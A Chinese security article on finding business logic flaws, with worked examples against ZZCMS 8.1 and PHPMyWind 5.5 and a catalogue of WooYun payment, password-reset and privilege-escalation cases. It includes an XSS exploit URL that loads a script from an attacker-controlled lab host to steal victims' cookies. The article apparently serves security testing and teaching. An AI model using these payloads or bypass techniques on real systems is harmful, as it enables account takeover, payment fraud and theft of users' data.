由于程序逻辑不严谨或逻辑太过复杂,导致一些逻辑分支不能正常处理或处理错误,统称为业务逻辑漏洞。常见的逻辑漏洞有交易支付、密码修改、密码找回、越权修改、越权查询、突破限制等,下图是简单的逻辑漏洞总结,在挖掘的过程中更多的时候需要脑洞大开:
挖掘逻辑漏洞的过程中,需要一些技巧和非常规思路,有点像边缘测试的思想。一般的思路是:
1 | 确定业务流程--->寻找流程中可以被操控的环节--->分析可被操控环节中可能产生的逻辑问题--->尝试修改参数触发逻辑问题 |
饮料贩卖机
直播
购物app
外卖
交易平台
社交
漫画
音乐
网约车
业务逻辑漏洞需要对业务熟悉,有很强的逻辑思维能力,所以下面主要描述一下ZZCMS8.1中注册、登录和密码找回出现的漏洞逻辑,再尽量多和全的收集整理相关场景。
我们把注册功能填写相关信息,然后抓包:
将数据包发送到repeater,每次修改username值,发现,只需要修改username值就可以注册成功用户,图形验证码无效,并且未对电话,邮箱等信息校验,可批量注册。
同样是注册功能,在输入用户名时,发现会提示用户名是否存在,猜测该位置可以猜测哪些用户注册过该网站。
抓取该位置数据包发现,会对用户名id进行判断,是否存在,是否符合规则,由此我们可以批量探测用户,发现可以批量探测已注册过的用户:
在忘记密码功能,我们输入用户名正确后会进行短信验证码,通过手机验证码或者邮箱验证码。
在验证码功能中输入验证码进行验证,发现其中有一段JavaScript代码document.userreg.yzm_mobile2.value=='no'
是用来验证验证码是否正确,那么就可以直接在控制台直接改变这个值就可以绕过验证码:
越权又可分为平行越权(相同用户)、垂直越权(低权限用户和高权限用户)、未授权访问(无需用户直接操作)。
登录普通用户test2,查看用户敏感的页面:
发送到repteater数据包中,看到cookie中存在username参数,修改为已存在的用户名,发现返回包中可查看其他用户敏感信息。
由于网上没有找到PHPMyWind5.5的源码,只能看看其他师傅分析的文章,这里就再大概复述一遍。
首先对实验环境做一个简单说明:
服务器 | 192.168.114.159 | 部署有“PHPMyWind 5.5” |
---|---|---|
攻击机(safedog) | 192.168.114.1 | 部署有能“收集PHPMyWind用户的Cookie”的PHP脚本、JS脚本 |
受害者(victim) | 192.168.114.161 | 可通过浏览器访问“服务器”上的“PHPMyWind”网站 |
攻击者搭建可接收受害者Cookie的PHP网站;
该PHP网站由“ReflectiveXSS.js”“ReflectiveXSS.php”和“cookie.txt”这3个文件构成。
其中“ReflectiveXSS.js”用于针对服务器端PHPMyWind网站的反射型XSS漏洞窃取受害者victim的Cookie,并将该Cookie值传输给ReflectiveXSS.php;“ReflectiveXSS.php”用于接收名为“victimcookie”的GET请求,并将“victimcookie”的参数值保存到“cookie.txt”。
ReflectiveXSS.js的代码如下:
1 | //通过指定的名称'img'创建img元素 |
ReflectiveXSS.php的代码如下:
1 |
|
出发XSS漏洞的EXP:
1 | http://192.168.114.159/phpmywind5-5/data/api/oauth/connect.php?method=unknownmethod<script src=http://192.168.114.1/safedog-attack/ReflectiveXSS.js></script> |
出现XSS漏洞的地方:
该漏洞出现的文件路径为:/data/api/oauth/connect.php,其中的代码段:
1 | if(method_exists($connect, $method)) |
if判断的作用是“判断函数名是否存在”,代码的逻辑是“如果函数名不存在,则在PHP页面输出函数名”,这一做法会造成反射型XSS漏洞。
该漏洞出现的文件路径为:/member.php
1 | //检测旧密码是否正确 |
第一个if判断的作用是“判断用户提交的新密码是否为空”,在用户提交的新密码不为空的情况下,才会进行‘旧密码的比对’,如果提交的旧密码和数据库的查询结果不一致,则不允许继续进行更换密码的操作。第二个if判断的作用仍为“判断用户提交的新密码是否为空”,在用户提交的新密码不为空的情况下,对新密码进行哈希运算,随后进行SQL语句的拼接。这两个if语句存在了逻辑漏洞。因为,如果我们提交的新密码(password变量和repassword变量)为空,则可以绕过对旧密码(oldpassword变量)的验证。
在这里之所以要使用XSS获取cookie,是因为当SQL语句满足条件id='$id' AND username ='$c_uname';
时,才可进行update操作。变量c_uname
值(明文)来源于AuthCode($_COOKIE['username'])
,即先取得Cookie中username(密文)的值,然后通过AuthCode函数配合配置文件中的密钥来获取明文。
PHPMyWind采用Cookie保存混淆化的用户登录信息。因为配置文件中的密钥是在CMS搭建时随机生成的,算法也不可逆,因此要在知道c_name变量的前提下,从正向伪造username等变量,以通过权限验证具有较大难度。为获取Cookie中的username等值,可考虑借助反射型XSS漏洞。
现在wooyun已经没了,只能在一些镜像网站看漏洞合集,以逻辑漏洞
为关键词搜索到了186个相关漏洞,基本上把每个漏洞都过了一遍,也没办法复现,记录一些比较有代表性的案例,权当搜集思路吧。
实际安全中会有一些比较特别的,反正各种能改的参数都去尝试。个数单价-优惠券个数单价=总额,每个值都可能存在问题,就看服务自身处理是否有问题了。
顺丰宝业务逻辑漏洞:数量和金额没有做签名
移动手机支付业务逻辑漏洞:爆破四位验证码
新东方逻辑支付漏洞:修改运费金额为负数,使得课程金额+运费大于0即可
中国零食网支付逻辑漏洞:同上
阿里云计算按量付费逻辑漏洞一枚(低价享受超级主机):经过base64编码的数据可以被篡改,并且后端会接受篡改的数据
乐视商城支付逻辑漏洞(价格可更改):价格参数明文显示在url,可以直接更改
读览天下支付逻辑漏洞可刷充值金额:替换支付订单号
益盟爱炒股商城支付逻辑漏洞:修改Cookie中的参数值
饿了么逻辑漏洞之免费吃喝不是梦:手机号+;+手机号
绕过服务器对手机号码的次数限制
七夕单身专场之性多多免费刷成人用品(支付逻辑漏洞):改负数刷代币
大疆某处支付逻辑漏洞可1元买无人机:https改为http访问,修改支付的参数
找回密码的验证码为四位数字可爆破真实验证码;
采用本地验证,可以先尝试修改自己的帐号密码,保存正确的返回包,然后修改他人密码的时候替换返回包;
最终修改密码的数据包,以另外的ID作为身份判断(例如userid),而该ID在别处可以获取到;
接受验证码的手机号修改为自己的号码,然后输入自己的号码接收到的验证码去进行密码重置;
获取验证码的时候,会生成一个身份标识(例如cookie值),那么我们就替换他人账号的身份证重置他人的密码;
具体可以去i春秋看carry_your发过的一篇专门针对密码重置的视频。
用户凭证暴力破解
四位或者六位的纯数字
返回凭证
url返回验证码及token
密码找回凭证在页面中
通过密保问题找回密码
返回短信验证码
WooYun: 新浪某站任意用户密码修改(验证码与取回逻辑设计不当)
邮箱弱token
时间戳的md5
用户名 & 服务器时间
WooYun: 中兴某网站任意用户密码重置漏洞(经典设计缺陷案例)
用户凭证有效性
短信验证码
WooYun: 第二次重置OPPO手机官网任意账户密码(秒改)
邮箱token
重置密码token
WooYun: 魅族的账号系统内存在漏洞可导致任意账户的密码重置
重新绑定
WooYun: 如家酒店某严重逻辑漏洞可登陆任意账号可导致几千万敏感信息泄露(涉及任意用户账号个人基本信息、入住记录等)
Wooyun: 华住酒店官网某严重逻辑漏洞可登陆任意账号(涉及任意用户账号个人基本信息、入住记录等)
邮箱绑定
服务器验证
WooYun: 携程旅行网任意老板密码修改(庆在wooyun第100洞)
服务器验证可控内容
WooYun: 四川我要去哪517旅行网重置任意账号密码漏洞
服务器验证验证逻辑为空
用户身份验证
账号与手机号码的绑定
账号与邮箱账号的绑定
WooYun: 魅族的账号系统内存在漏洞可导致任意账户的密码重置
找回步骤
跳过验证步骤、找回方式,直接到设置新密码页面
WooYun: OPPO手机同步密码随意修改,短信通讯录随意查看
WooYun: 中国电信某IDC机房信息安全管理系统设计缺陷致使系统沦陷
本地验证
在本地验证服务器的返回信息,确定是否执行重置密码,但是其返回信息是可控的内容,或者可以得到的内容
WooYun: 看我如何重置乐峰网供应商管理系统任意用户密码(管理员已被重置)
发送短信等验证信息的动作在本地进行,可以通过修改返回包进行控制
注入
在找回密码处存在注入漏洞
WooYun: 用友人力资源管理软件(e-HR)另一处SQL注入漏洞(通杀所有版本)
Token生成
token生成可控
注册覆盖
注册重复的用户名
WooYun: 中铁快运奇葩方式重置任意用户密码(admin用户演示)
session覆盖
越权漏洞是Web应用程序中一种常见的安全漏洞。它的威胁在于一个账户即可控制全站用户数据。当然这些数据仅限于存在漏洞功能对应的数据。越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定。所以测试越权就是和开发人员拼细心的过程。
垂直越权的手法:
编辑个人信息的时候,修改权限组的id,一般管理员的值为0或者1;
后台修改密码的地方,如果是根据userid来修改密码的,可以修改id的值来修改管理员的密码;
在个人资料处插入XSS脚本,一般能打到管理员cookie的概率很大;
查看个人资料的时候,如果是根据id来显示,一般都有越权,可以遍历id获取管理员信息;
测试后台功能,找一下注入、上传、命令执行等漏洞,直接拿下数据库权限或者shell,再找管理员权限就轻而易举了。